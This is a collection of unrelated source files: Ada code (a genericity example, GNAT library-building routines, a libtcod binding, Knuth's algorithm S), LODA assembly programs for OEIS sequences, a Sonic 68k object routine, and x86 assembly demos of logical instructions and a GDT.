<filename>doc/expli_genericite.adb procedure mv_l(point : in out point_t; delta_x : integer) is begin mv_l(point, float(delta_x)); end; procedure int_mv(point : in out point_t; delta_axis : integer; mv : access procedure(point : in out point_t; delta_axis : float)) is begin mv(point, float(delta_axis)); end; int_mv(point, delta_x, mv_l_ptr); mv_l(point, float(delta_x)); mv_l(point, delta_x); generic mv : mv_ptr; procedure int_mv(point : in out point_t; delta_axis : integer); procedure int_mv(point : in out point_t; delta_axis : integer) is begin mv(point, float(delta_axis * mult)); end; procedure internal_int_mv_l is new int_mv(mv_l_ptr); procedure internal_int_mv_r is new int_mv(mv_r_ptr); procedure internal_int_mv_u is new int_mv(mv_u_ptr); procedure internal_int_mv_d is new int_mv(mv_d_ptr); -- definition des fonctions de mouvement (celles-ci sont déclarées dans le package) procedure mv_l(point : in out point_t; delta_x : integer) renames internal_int_mv_l; procedure mv_r(point : in out point_t; delta_x : integer) renames internal_int_mv_r; procedure mv_u(point : in out point_t; delta_y : integer) renames internal_int_mv_u; procedure mv_d(point : in out point_t; delta_y : integer) renames internal_int_mv_d;
oeis/053/A053699.asm
neoneye/loda-programs
11
4022
; A053699: a(n) = n^4 + n^3 + n^2 + n + 1. ; 1,5,31,121,341,781,1555,2801,4681,7381,11111,16105,22621,30941,41371,54241,69905,88741,111151,137561,168421,204205,245411,292561,346201,406901,475255,551881,637421,732541,837931,954305,1082401,1222981,1376831,1544761,1727605,1926221,2141491,2374321,2625641,2896405,3187591,3500201,3835261,4193821,4576955,4985761,5421361,5884901,6377551,6900505,7454981,8042221,8663491,9320081,10013305,10744501,11515031,12326281,13179661,14076605,15018571,16007041,17043521,18129541,19266655,20456441,21700501 mov $1,$0 pow $0,2 add $1,$0 add $0,1 mul $0,$1 add $0,1
llvm-gcc-4.2-2.9/gcc/ada/mlib-tgt-tru64.adb
vidkidz/crossbridge
1
12339
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- M L I B . T G T -- -- (True64 Version) -- -- -- -- B o d y -- -- -- -- Copyright (C) 2002-2005 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package provides a set of target dependent routines to build -- static, dynamic and shared libraries. -- This is the True64 version of the body with MLib.Fil; with MLib.Utl; with Namet; use Namet; with Opt; with Output; use Output; with Prj.Com; with System; package body MLib.Tgt is use GNAT; use MLib; Expect_Unresolved : aliased String := "-Wl,-expect_unresolved,*"; --------------------- -- Archive_Builder -- --------------------- function Archive_Builder return String is begin return "ar"; end Archive_Builder; ----------------------------- -- Archive_Builder_Options -- ----------------------------- function Archive_Builder_Options return String_List_Access is begin return new String_List'(1 => new String'("cr")); end Archive_Builder_Options; ----------------- -- Archive_Ext -- ----------------- function Archive_Ext return String is begin return "a"; end Archive_Ext; --------------------- -- Archive_Indexer -- --------------------- function Archive_Indexer return String is begin return "ranlib"; end Archive_Indexer; ----------------------------- -- Archive_Indexer_Options -- ----------------------------- function Archive_Indexer_Options return String_List_Access is begin return new String_List (1 .. 0); end Archive_Indexer_Options; --------------------------- -- Build_Dynamic_Library -- --------------------------- procedure Build_Dynamic_Library (Ofiles : Argument_List; Foreign : Argument_List; Afiles : Argument_List; Options : Argument_List; Options_2 : Argument_List; Interfaces : Argument_List; Lib_Filename : String; Lib_Dir : String; Symbol_Data : Symbol_Record; Driver_Name : Name_Id := No_Name; Lib_Version : String := ""; Auto_Init : Boolean := False) is pragma Unreferenced (Foreign); pragma Unreferenced (Afiles); pragma Unreferenced (Interfaces); pragma Unreferenced (Symbol_Data); pragma Unreferenced (Auto_Init); -- Initialization is done through the contructor mechanism Lib_File : constant String := Lib_Dir & Directory_Separator & "lib" & Fil.Ext_To (Lib_Filename, DLL_Ext); Version_Arg : String_Access; Symbolic_Link_Needed : Boolean := False; begin if Opt.Verbose_Mode then Write_Str ("building relocatable shared library "); Write_Line (Lib_File); end if; -- If specified, add automatic elaboration/finalization if Lib_Version = "" then Utl.Gcc (Output_File => Lib_File, Objects => Ofiles, Options => Options & Expect_Unresolved'Access, Options_2 => Options_2, Driver_Name => Driver_Name); else Version_Arg := new String'("-Wl,-soname," & Lib_Version); if Is_Absolute_Path (Lib_Version) then Utl.Gcc (Output_File => Lib_Version, Objects => Ofiles, Options => Options & Version_Arg & Expect_Unresolved'Access, Options_2 => Options_2, Driver_Name => Driver_Name); Symbolic_Link_Needed := Lib_Version /= Lib_File; else Utl.Gcc (Output_File => Lib_Dir & Directory_Separator & Lib_Version, Objects => Ofiles, Options => Options & Version_Arg & Expect_Unresolved'Access, Options_2 => Options_2, Driver_Name => Driver_Name); Symbolic_Link_Needed := Lib_Dir & Directory_Separator & Lib_Version /= Lib_File; end if; if Symbolic_Link_Needed then declare Success : Boolean; Oldpath : String (1 .. Lib_Version'Length + 1); Newpath : String (1 .. Lib_File'Length + 1); Result : Integer; pragma Unreferenced (Result); function Symlink (Oldpath : System.Address; Newpath : System.Address) return Integer; pragma Import (C, Symlink, "__gnat_symlink"); begin Oldpath (1 .. Lib_Version'Length) := Lib_Version; Oldpath (Oldpath'Last) := ASCII.NUL; Newpath (1 .. Lib_File'Length) := Lib_File; Newpath (Newpath'Last) := ASCII.NUL; Delete_File (Lib_File, Success); Result := Symlink (Oldpath'Address, Newpath'Address); end; end if; end if; end Build_Dynamic_Library; ------------- -- DLL_Ext -- ------------- function DLL_Ext return String is begin return "so"; end DLL_Ext; ---------------- -- DLL_Prefix -- ---------------- function DLL_Prefix return String is begin return "lib"; end DLL_Prefix; -------------------- -- Dynamic_Option -- -------------------- function Dynamic_Option return String is begin return "-shared"; end Dynamic_Option; ------------------- -- Is_Object_Ext -- ------------------- function Is_Object_Ext (Ext : String) return Boolean is begin return Ext = ".o"; end Is_Object_Ext; -------------- -- Is_C_Ext -- -------------- function Is_C_Ext (Ext : String) return Boolean is begin return Ext = ".c"; end Is_C_Ext; -------------------- -- Is_Archive_Ext -- -------------------- function Is_Archive_Ext (Ext : String) return Boolean is begin return Ext = ".a" or else Ext = ".so"; end Is_Archive_Ext; ------------- -- Libgnat -- ------------- function Libgnat return String is begin return "libgnat.a"; end Libgnat; ------------------------ -- Library_Exists_For -- ------------------------ function Library_Exists_For (Project : Project_Id; In_Tree : Project_Tree_Ref) return Boolean is begin if not In_Tree.Projects.Table (Project).Library then Prj.Com.Fail ("INTERNAL ERROR: Library_Exists_For called " & "for non library project"); return False; else declare Lib_Dir : constant String := Get_Name_String (In_Tree.Projects.Table (Project).Library_Dir); Lib_Name : constant String := Get_Name_String (In_Tree.Projects.Table (Project).Library_Name); begin if In_Tree.Projects.Table (Project).Library_Kind = Static then return Is_Regular_File (Lib_Dir & Directory_Separator & "lib" & Fil.Ext_To (Lib_Name, Archive_Ext)); else return Is_Regular_File (Lib_Dir & Directory_Separator & "lib" & Fil.Ext_To (Lib_Name, DLL_Ext)); end if; end; end if; end Library_Exists_For; --------------------------- -- Library_File_Name_For -- --------------------------- function Library_File_Name_For (Project : Project_Id; In_Tree : Project_Tree_Ref) return Name_Id is begin if not In_Tree.Projects.Table (Project).Library then Prj.Com.Fail ("INTERNAL ERROR: Library_File_Name_For called " & "for non library project"); return No_Name; else declare Lib_Name : constant String := Get_Name_String (In_Tree.Projects.Table (Project).Library_Name); begin Name_Len := 3; Name_Buffer (1 .. Name_Len) := "lib"; if In_Tree.Projects.Table (Project).Library_Kind = Static then Add_Str_To_Name_Buffer (Fil.Ext_To (Lib_Name, Archive_Ext)); else Add_Str_To_Name_Buffer (Fil.Ext_To (Lib_Name, DLL_Ext)); end if; return Name_Find; end; end if; end Library_File_Name_For; ---------------- -- Object_Ext -- ---------------- function Object_Ext return String is begin return "o"; end Object_Ext; ---------------- -- PIC_Option -- ---------------- function PIC_Option return String is begin return ""; end PIC_Option; ----------------------------------------------- -- Standalone_Library_Auto_Init_Is_Supported -- ----------------------------------------------- function Standalone_Library_Auto_Init_Is_Supported return Boolean is begin return True; end Standalone_Library_Auto_Init_Is_Supported; --------------------------- -- Support_For_Libraries -- --------------------------- function Support_For_Libraries return Library_Support is begin return Full; end Support_For_Libraries; end MLib.Tgt;
oeis/091/A091526.asm
neoneye/loda-programs
11
163267
; A091526: Coefficient of x^n in 1/((1+x)*(1-x)^(n-1)). ; Submitted by <NAME> ; 1,-1,1,2,9,34,130,496,1897,7274,27966,107788,416394,1611908,6251596,24287212,94499689,368202778,1436458486,5610483532,21936442894,85852554748,336300861436,1318441228432,5172792817834,20309402206084,79791307323820,313675892977016,1233833071831572,4855853462904184,19120280926552320,75323309208277604,296864974298080105,1170501553680854650,4616984418259528870,18218344855150937356,71914250440014364134,283967481601759948844,1121663378126217940588,4431899934669830344256,17516385812834383039182 mov $3,$0 mov $5,$0 add $5,1 lpb $5 mov $0,$3 mov $2,-2 sub $5,1 sub $0,$5 add $2,$3 add $0,$2 bin $0,$2 mul $4,-1 add $4,$0 lpe mov $0,$4
oeis/105/A105773.asm
neoneye/loda-programs
11
1465
<gh_stars>10-100 ; A105773: Numbers n such that 11*n + 97 is prime. ; 0,6,12,14,20,26,32,50,54,60,66,74,80,84,90,92,96,110,116,122,126,132,134,140,150,162,164,174,182,186,200,204,216,222,234,236,246,260,264,266,270,272,284,294,306,312,320,330,336,344,350,356,360,362,374,392,402,414,416,426,434,440,446,456,462,476,482,486,494,504,522,524,530,540,560,564,566,570,572,584,596,602,606,612,620,624,626,630,642,650,672,680,684,686,690,696,704,710,714,720 add $0,2 seq $0,141856 ; Primes congruent to 9 mod 11. sub $0,97 div $0,11
src/generated/renderer_gl2_h.ads
csb6/libtcod-ada
0
4706
pragma Ada_2012; pragma Style_Checks (Off); with Interfaces.C; use Interfaces.C; with utypes_uuint32_t_h; with renderer_gl_h; with Interfaces.C.Strings; limited with tileset_h; limited with context_h; package renderer_gl2_h is -- BSD 3-Clause License -- * -- * Copyright © 2008-2021, Jice and the libtcod contributors. -- * All rights reserved. -- * -- * Redistribution and use in source and binary forms, with or without -- * modification, are permitted provided that the following conditions are met: -- * -- * 1. Redistributions of source code must retain the above copyright notice, -- * this list of conditions and the following disclaimer. -- * -- * 2. Redistributions in binary form must reproduce the above copyright notice, -- * this list of conditions and the following disclaimer in the documentation -- * and/or other materials provided with the distribution. -- * -- * 3. Neither the name of the copyright holder nor the names of its -- * contributors may be used to endorse or promote products derived from -- * this software without specific prior written permission. -- * -- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -- * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- * POSSIBILITY OF SUCH DAMAGE. -- type anon2318_array2319 is array (0 .. 2) of aliased utypes_uuint32_t_h.uint32_t; type TCOD_RendererGL2 is record common : aliased renderer_gl_h.TCOD_RendererGLCommon; -- renderer_gl2.h:43 program : aliased utypes_uuint32_t_h.uint32_t; -- renderer_gl2.h:44 console_textures : aliased anon2318_array2319; -- renderer_gl2.h:45 console_width : aliased int; -- renderer_gl2.h:46 console_height : aliased int; -- renderer_gl2.h:47 vertex_buffer : aliased utypes_uuint32_t_h.uint32_t; -- renderer_gl2.h:48 end record with Convention => C_Pass_By_Copy; -- renderer_gl2.h:42 -- ch, fg, bg function TCOD_renderer_new_gl2 (arg1 : int; arg2 : int; arg3 : int; arg4 : int; arg5 : Interfaces.C.Strings.chars_ptr; arg6 : int; arg7 : int; arg8 : access tileset_h.TCOD_Tileset) return access context_h.TCOD_Context -- renderer_gl2.h:51 with Import => True, Convention => C, External_Name => "TCOD_renderer_new_gl2"; end renderer_gl2_h;
programs/oeis/109/A109008.asm
karttu/loda
1
159
<reponame>karttu/loda<gh_stars>1-10 ; A109008: a(n) = gcd(n,4). ; 4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4 mov $1,$0 gcd $1,4
Task/Knuths-algorithm-S/Ada/knuths-algorithm-s-2.ada
mullikine/RosettaCodeData
1
23292
with Ada.Numerics.Float_Random, Ada.Numerics.Discrete_Random; package body S_Of_N_Creator is package F_Rnd renames Ada.Numerics.Float_Random; F_Gen: F_Rnd.Generator; package D_Rnd is new Ada.Numerics.Discrete_Random(Index_Type); D_Gen: D_Rnd.Generator; Item_Count: Natural := 0; -- this is a global counter Sample: Item_Array; -- also used globally procedure Update(New_Item: Item_Type) is begin Item_Count := Item_Count + 1; if Item_Count <= Sample_Size then -- select the first Sample_Size items as the sample Sample(Item_Count) := New_Item; else -- for I-th item, I > Sample_Size: Sample_Size/I chance of keeping it if (Float(Sample_Size)/Float(Item_Count)) > F_Rnd.Random(F_Gen) then -- randomly (1/Sample_Size) replace one of the items of the sample Sample(D_Rnd.Random(D_Gen)) := New_Item; end if; end if; end Update; function Result return Item_Array is begin Item_Count := 0; -- ready to start another run return Sample; end Result; begin D_Rnd.Reset(D_Gen); -- at package instantiation, initialize rnd-generators F_Rnd.Reset(F_Gen); end S_Of_N_Creator;
programs/oeis/270/A270700.asm
neoneye/loda
22
16542
<gh_stars>10-100 ; A270700: Triangular Star of David numbers (the figurate number of triangles framing a hexagram: a(0) = 12; thereafter a(n) = 36*n+6). ; 12,42,78,114,150,186,222,258,294,330,366,402,438,474,510,546,582,618,654,690,726,762,798,834,870,906,942,978,1014,1050,1086,1122,1158,1194,1230,1266,1302,1338,1374,1410,1446,1482,1518,1554,1590,1626,1662,1698,1734,1770,1806,1842,1878,1914,1950,1986,2022,2058,2094,2130,2166,2202,2238,2274,2310,2346,2382,2418,2454,2490,2526,2562,2598,2634,2670,2706,2742,2778,2814,2850,2886,2922,2958,2994,3030,3066,3102,3138,3174,3210,3246,3282,3318,3354,3390,3426,3462,3498,3534,3570 mul $0,6 trn $0,1 mul $0,6 add $0,12
_incObj/57 Spiked Ball and Chain.asm
kodishmediacenter/msu-md-sonic
9
102844
<filename>_incObj/57 Spiked Ball and Chain.asm<gh_stars>1-10 ; --------------------------------------------------------------------------- ; Object 57 - spiked balls (SYZ, LZ) ; --------------------------------------------------------------------------- SpikeBall: moveq #0,d0 move.b obRoutine(a0),d0 move.w SBall_Index(pc,d0.w),d1 jmp SBall_Index(pc,d1.w) ; =========================================================================== SBall_Index: dc.w SBall_Main-SBall_Index dc.w SBall_Move-SBall_Index dc.w SBall_Display-SBall_Index sball_childs: equ $29 ; number of child objects (1 byte) ; $30-$37 ; object RAM numbers of childs (1 byte each) sball_origX: equ $3A ; centre x-axis position (2 bytes) sball_origY: equ $38 ; centre y-axis position (2 bytes) sball_radius: equ $3C ; radius (1 byte) sball_speed: equ $3E ; rate of spin (2 bytes) ; =========================================================================== SBall_Main: ; Routine 0 addq.b #2,obRoutine(a0) move.l #Map_SBall,obMap(a0) move.w #$3BA,obGfx(a0) move.b #4,obRender(a0) move.b #4,obPriority(a0) move.b #8,obActWid(a0) move.w obX(a0),sball_origX(a0) move.w obY(a0),sball_origY(a0) move.b #$98,obColType(a0) ; SYZ specific code (chain hurts Sonic) cmpi.b #id_LZ,(v_zone).w ; check if level is LZ bne.s @notlz move.b #0,obColType(a0) ; LZ specific code (chain doesn't hurt) move.w #$310,obGfx(a0) move.l #Map_SBall2,obMap(a0) @notlz: move.b obSubtype(a0),d1 ; get object type andi.b #$F0,d1 ; read only the 1st digit ext.w d1 asl.w #3,d1 ; multiply by 8 move.w d1,sball_speed(a0) ; set object twirl speed move.b obStatus(a0),d0 ror.b #2,d0 andi.b #$C0,d0 move.b d0,obAngle(a0) lea sball_childs(a0),a2 move.b obSubtype(a0),d1 ; get object type andi.w #7,d1 ; read only the 2nd digit move.b #0,(a2)+ move.w d1,d3 lsl.w #4,d3 move.b d3,sball_radius(a0) subq.w #1,d1 ; set chain length (type-1) bcs.s @fail btst #3,obSubtype(a0) beq.s @makechain subq.w #1,d1 bcs.s @fail @makechain: bsr.w FindFreeObj bne.s @fail addq.b #1,sball_childs(a0) ; increment child object counter move.w a1,d5 ; get child object RAM address subi.w #$D000,d5 ; subtract $D000 lsr.w #6,d5 ; divide by $40 andi.w #$7F,d5 move.b d5,(a2)+ ; copy child RAM number move.b #4,obRoutine(a1) move.b 0(a0),0(a1) move.l obMap(a0),obMap(a1) move.w obGfx(a0),obGfx(a1) move.b obRender(a0),obRender(a1) move.b obPriority(a0),obPriority(a1) move.b obActWid(a0),obActWid(a1) move.b obColType(a0),obColType(a1) subi.b #$10,d3 move.b d3,sball_radius(a1) cmpi.b #id_LZ,(v_zone).w ; check if level is LZ bne.s @notlzagain tst.b d3 bne.s @notlzagain move.b #2,obFrame(a1) ; use different frame for LZ chain @notlzagain: dbf d1,@makechain ; repeat for length of chain @fail: move.w a0,d5 subi.w #$D000,d5 lsr.w #6,d5 andi.w #$7F,d5 move.b d5,(a2)+ cmpi.b #id_LZ,(v_zone).w ; check if level is LZ bne.s SBall_Move move.b #$8B,obColType(a0) ; if yes, make last spikeball larger move.b #1,obFrame(a0) ; use different frame SBall_Move: ; Routine 2 bsr.w @movesub bra.w @chkdel ; =========================================================================== @movesub: move.w sball_speed(a0),d0 add.w d0,obAngle(a0) move.b obAngle(a0),d0 jsr (CalcSine).l move.w sball_origY(a0),d2 move.w sball_origX(a0),d3 lea sball_childs(a0),a2 moveq #0,d6 move.b (a2)+,d6 @loop: moveq #0,d4 move.b (a2)+,d4 lsl.w #6,d4 addi.l #v_objspace&$FFFFFF,d4 movea.l d4,a1 moveq #0,d4 move.b sball_radius(a1),d4 move.l d4,d5 muls.w d0,d4 asr.l #8,d4 muls.w d1,d5 asr.l #8,d5 add.w d2,d4 add.w d3,d5 move.w d4,obY(a1) move.w d5,obX(a1) dbf d6,@loop rts ; =========================================================================== @chkdel: out_of_range @delete,sball_origX(a0) bra.w DisplaySprite ; =========================================================================== @delete: moveq #0,d2 lea sball_childs(a0),a2 move.b (a2)+,d2 @deleteloop: moveq #0,d0 move.b (a2)+,d0 lsl.w #6,d0 addi.l #v_objspace&$FFFFFF,d0 movea.l d0,a1 bsr.w DeleteChild dbf d2,@deleteloop ; delete all pieces of chain rts ; =========================================================================== SBall_Display: ; Routine 4 bra.w DisplaySprite
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/invsqrt_fastcall.asm
ahjelm/z88dk
640
161264
<filename>libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/invsqrt_fastcall.asm SECTION code_fp_math16 PUBLIC invsqrtf16_fastcall EXTERN asm_f16_invsqrt defc invsqrtf16_fastcall = asm_f16_invsqrt
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sccz80/tshc_aaddrcleft.asm
Frodevan/z88dk
640
98207
<gh_stars>100-1000 ; void *tshc_aaddrcleft(void *aaddr) SECTION code_clib SECTION code_arch PUBLIC tshc_aaddrcleft EXTERN zx_saddrcleft defc tshc_aaddrcleft = zx_saddrcleft ; SDCC bridge for Classic IF __CLASSIC PUBLIC _tshc_aaddrcleft defc _tshc_aaddrcleft = tshc_aaddrcleft ENDIF
programs/oeis/059/A059174.asm
jmorken/loda
1
85461
<gh_stars>1-10 ; A059174: Maximal number of regions into which 5-space can be divided by n hyper-spheres. ; 1,2,4,8,16,32,64,126,240,438,764,1276,2048,3172,4760,6946,9888,13770,18804,25232,33328,43400,55792,70886,89104,110910,136812,167364,203168,244876,293192,348874,412736,485650,568548,662424,768336,887408,1020832,1169870,1335856,1520198,1724380,1949964,2198592,2471988,2771960,3100402,3459296,3850714,4276820,4739872,5242224,5786328,6374736,7010102,7695184,8432846,9226060,10077908,10991584,11970396,13017768,14137242,15332480,16607266,17965508,19411240,20948624,22581952,24315648,26154270,28102512,30165206,32347324,34653980,37090432,39662084,42374488,45233346,48244512,51413994,54747956,58252720,61934768,65800744,69857456,74111878,78571152,83242590,88133676,93252068,98605600,104202284,110050312,116158058,122534080,129187122,136126116,143360184,150898640,158750992,166926944,175436398,184289456,193496422,203067804,213014316,223346880,234076628,245214904,256773266,268763488,281197562,294087700,307446336,321286128,335619960,350460944,365822422,381717968,398161390,415166732,432748276,450920544,469698300,489096552,509130554,529815808,551168066,573203332,595937864,619388176,643571040,668503488,694202814,720686576,747972598,776078972,805024060,834826496,865505188,897079320,929568354,962992032,997370378,1032723700,1069072592,1106437936,1144840904,1184302960,1224845862,1266491664,1309262718,1353181676,1398271492,1444555424,1492057036,1540800200,1590809098,1642108224,1694722386,1748676708,1803996632,1860707920,1918836656,1978409248,2039452430,2101993264,2166059142,2231677788,2298877260,2367685952,2438132596,2510246264,2584056370,2659592672,2736885274,2815964628,2896861536,2979607152,3064232984,3150770896,3239253110,3329712208,3422181134,3516693196,3613282068,3711981792,3812826780,3915851816,4021092058,4128583040,4238360674,4350461252,4464921448,4581778320,4701069312,4822832256,4947105374,5073927280,5203336982,5335373884,5470077788,5607488896,5747647812,5890595544,6036373506,6185023520,6336587818,6491109044,6648630256,6809194928,6972846952,7139630640,7309590726,7482772368,7659221150,7838983084,8022104612,8208632608,8398614380,8592097672,8789130666,8989761984,9194040690,9402016292,9613738744,9829258448,10048626256,10271893472,10499111854,10730333616,10965611430,11204998428,11448548204,11696314816,11948352788,12204717112,12465463250,12730647136,13000325178,13274554260,13553391744,13836895472,14125123768,14418135440,14715989782,15018746576,15326466094 mov $27,$0 mov $29,2 lpb $29 mov $0,$27 sub $29,1 add $0,$29 sub $0,1 cal $0,115567 ; a(n) = C(n,6) + C(n,5) + C(n,4) + C(n,3) + C(n,2) + C(n,1). add $3,3 lpb $2,5 add $0,2 lpb $3 lpb $3 mul $0,2 mov $3,2 mov $5,3 lpe lpb $5 mov $1,$0 div $5,8 lpe lpe lpe sub $1,3 mov $30,$29 lpb $30 mov $28,$1 sub $30,1 lpe lpe lpb $27 mov $27,0 sub $28,$1 lpe mov $1,$28
programs/oeis/077/A077413.asm
neoneye/loda
22
175539
<filename>programs/oeis/077/A077413.asm ; A077413: Bisection (odd part) of Chebyshev sequence with Diophantine property. ; 2,13,76,443,2582,15049,87712,511223,2979626,17366533,101219572,589950899,3438485822,20040964033,116807298376,680802826223,3968009658962,23127255127549,134795521106332,785645871510443,4579079707956326,26688832376227513,155553914549408752,906634654920224999,5284254014971941242,30798889434911422453,179509082594496593476,1046255606132068138403,6098024554197912236942,35541891719055405283249,207153325760134519462552,1207378062841751711492063,7037115051290375749489826,41015312244900502785446893,239054758418112640963191532,1393313238263775342993702299,8120824671164539416999022262,47331634788723461159000431273,275868984061176227537003565376,1607882269578333904063020960983,9371424633408827196841122200522,54620665530874629276983712242149,318352568551838948465061151252372,1855494745780159061513383195272083,10814615906129115420615238020380126,63032200690994533462178044927008673,367378588239838085352453031541671912 mov $1,7 mov $2,4 lpb $0 sub $0,1 add $1,$2 add $2,$1 add $2,$1 add $1,$2 lpe mov $0,$2 div $0,2
examples/test_time.adb
ytomino/web-ada
2
8492
<filename>examples/test_time.adb with Ada.Calendar.Formatting; with Ada.Calendar.Time_Zones; with Ada.Command_Line; with Ada.Text_IO; with Web; procedure test_time is use type Ada.Calendar.Time; use type Ada.Calendar.Time_Zones.Time_Offset; Verbose : Boolean := False; S : constant String := Web.Image (Ada.Calendar.Clock); begin for I in 1 .. Ada.Command_Line.Argument_Count loop if Ada.Command_Line.Argument (I) = "-v" then Verbose := True; end if; end loop; if Verbose then Ada.Text_IO.Put_Line (S); end if; if S /= Web.Image (Web.Value (S)) then raise Program_Error; end if; if Web.Value ("Thu, 21 Jul 2005 14:46:19 +0900") /= Ada.Calendar.Formatting.Time_Of (2005, 7, 21, 14, 46, 19, Time_Zone => 9 * 60) then raise Program_Error; end if; -- finish Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error.all, "ok"); end test_time;
MODULE1/6-logical_instructions/thor/thor.asm
wetw0rk/SLAE
18
15588
<filename>MODULE1/6-logical_instructions/thor/thor.asm ; Executable name : thor ; Designed OS : Linux (32-bit) ; Author : wetw0rk ; Version : 1.0 ; Created Following : SLAE ; Description : A simple program that shows how logical ; operators/instructions work. Thor sounds ; like XOR! ; ; Build using these commands: ; nasm -f elf32 -o thor.o thor.asm ; ld -o thor thor.o ; ; How to run and use this program (intention): ; gdb -q ./thor ; SECTION .data v1: db 0xaa v2: dw 0xbbcc v3: dd 0xdeadbeef SECTION .text global _start _start: ; AND example mov al,0x10 ; MOV 0x10 into AL and al,0x01 ; AND will result in a zero. This is easy to ; understand by viewing the AND truth table. and byte [v1],0xaa ; AND will result in 0xaa. The bit position gives this ; result. Once again check the truth table. and word [v2],0x1122 ; AND will result in 0x1100 again check the table :) ; OR example mov al,0x10 ; MOV 0x10 into AL or al,0x01 ; AL = 11 this is pretty direct. If it does not make sense ; check the truth table or byte [v1],0xaa ; v1 will be 0xaa for similiar reasons mov eax,0 ; zero out eax or eax,0x0 ; 0 or 0 = 0. Very clear. ; XOR example xor dword [v3],0xdeadbeef ; zero out v3 since they are = to each other xor dword [v3],0xdeadbeef ; since no longer the same v3 will contain 0xdeadbeef ; NOT example mov eax,0xffffffff ; MOV 0xffffffff into EAX not eax ; NOT will make EAX zero since 1 will now be 0. ; if confusing check truth table! not eax ; NOT will make EAX 0xffffffff mov eax,1 ; dat exit() syscall mov ebx,0 ; exit cleanly or x int 80h ; call the kernel
scratch-os-(very-simple)/GDT.asm
EnZon3/Randomness
1
97991
; GDT gdt_start : gdt_null : ; the mandatory null descriptor dd 0 x0 ; ’dd ’ means define double word ( i.e. 4 bytes ) dd 0 x0 gdt_code : ; the code segment descriptor ; base =0x0 , limit =0 xfffff , ; 1st flags : ( present )1 ( privilege )00 ( descriptor type )1 -> 1001 b ; type flags : ( code )1 ( conforming )0 ( readable )1 ( accessed )0 -> 1010 b ; 2nd flags : ( granularity )1 (32 - bit default )1 (64 - bit seg )0 ( AVL )0 -> 1100 b dw 0 xffff ; Limit ( bits 0 -15) dw 0 x0 ; Base ( bits 0 -15) db 0 x0 ; Base ( bits 16 -23) db 10011010 b ; 1st flags , type flags db 11001111 b ; 2nd flags , Limit ( bits 16 -19) db 0 x0 ; Base ( bits 24 -31) gdt_data : ; the data segment descriptor ; Same as code segment except for the type flags : ; type flags : ( code )0 ( expand down )0 ( writable )1 ( accessed )0 -> 0010 b dw 0 xffff ; Limit ( bits 0 -15) dw 0 x0 ; Base ( bits 0 -15) db 0 x0 ; Base ( bits 16 -23) db 10010010 b ; 1st flags , type flags db 11001111 b ; 2nd flags , Limit ( bits 16 -19) db 0 x0 ; Base ( bits 24 -31) gdt_end : ; The reason for putting a label at the end of the ; GDT is so we can have the assembler calculate ; the size of the GDT for the GDT decriptor ( below ) ; GDT descriptior gdt_descriptor : dw gdt_end - gdt_start - 1 ; Size of our GDT , always less one ; of the true size dd gdt_start ; Start address of our GDT ; Define some handy constants for the GDT segment descriptor offsets , which ; are what segment registers must contain when in protected mode. For example , ; when we set DS = 0 x10 in PM , the CPU knows that we mean it to use the ; segment described at offset 0 x10 ( i.e. 16 bytes ) in our GDT , which in our ; case is the DATA segment (0 x0 -> NULL ; 0x08 -> CODE ; 0 x10 -> DATA ) CODE_SEG equ gdt_code - gdt_start DATA_SEG equ gdt_data - gdt_start
oeis/010/A010473.asm
neoneye/loda-programs
11
19393
; A010473: Decimal expansion of square root of 17. ; Submitted by <NAME> ; 4,1,2,3,1,0,5,6,2,5,6,1,7,6,6,0,5,4,9,8,2,1,4,0,9,8,5,5,9,7,4,0,7,7,0,2,5,1,4,7,1,9,9,2,2,5,3,7,3,6,2,0,4,3,4,3,9,8,6,3,3,5,7,3,0,9,4,9,5,4,3,4,6,3,3,7,6,2,1,5,9,3,5,8,7,8,6,3,6,5,0,8,1,0,6,8,4,2,9,6 mov $1,7 mov $3,$0 mul $3,4 lpb $3 mul $2,2 add $1,$2 add $2,$1 sub $3,1 lpe mul $1,2 mov $4,10 pow $4,$0 div $2,$4 add $2,1 div $1,$2 mov $0,$1 mod $0,10
src/atmosphere_types.ads
onox/orka-demo
3
21939
